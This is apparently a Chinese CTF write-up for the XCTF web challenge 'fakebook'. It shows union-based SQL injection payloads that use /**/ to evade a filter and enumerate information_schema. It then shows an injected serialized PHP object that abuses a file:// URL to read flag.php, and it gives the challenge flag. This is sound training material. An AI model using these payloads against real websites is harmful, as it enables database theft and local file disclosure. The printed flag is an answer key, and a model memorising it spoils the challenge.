攻防世界-web-fakebook

攻防世界-web-fakebook_第1张图片

 攻防世界-web-fakebook_第2张图片

打开网页,只有注册和登录选项,

先看看robots.txt有什么

攻防世界-web-fakebook_第3张图片

直接下载一个user.php.bak文件,打开分析

攻防世界-web-fakebook_第4张图片

 设定了姓名,年龄,博客,博客地址利用了正则表达式

攻防世界-web-fakebook_第5张图片

其实也没有https://无所谓 

 选择join选项

攻防世界-web-fakebook_第6张图片

 join成功

 攻防世界-web-fakebook_第7张图片

点开admin

发现?no=1,进行注入点测试

攻防世界-web-fakebook_第8张图片

显示有注入点 ,用order by 测试到4为止可以访问,存在四列

order by 4#

攻防世界-web-fakebook_第9张图片

 查看数据库,发现union select被过滤了,/**/可以绕过waf,获取到数据库

/**/union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata #

攻防世界-web-fakebook_第10张图片

数据库名fakebook,information_schema,mysql,performance_schema,test 

获取数据表名

/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

攻防世界-web-fakebook_第11张图片

只有一个users 

读取字段

/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"#

攻防世界-web-fakebook_第12张图片

获得data里面的数据

 /**/union/**/select 1,group_concat(data),3,4 from users#

攻防世界-web-fakebook_第13张图片 数据被序列化

 瞬间没了思路,随便输入一个flag.php试试

存在这样的php文件,只是没法读取内容,利用file进行内容读取【file:///文件路径(ssrf)】 

 /**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:14;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

攻防世界-web-fakebook_第14张图片

查看源代码 

 点击蓝色攻防世界-web-fakebook_第15张图片

找到flag

flag{c1e552fdf77049fabf65168f22f7aeab}

你可能感兴趣的:(攻防世界web,ctf,安全,php,前端)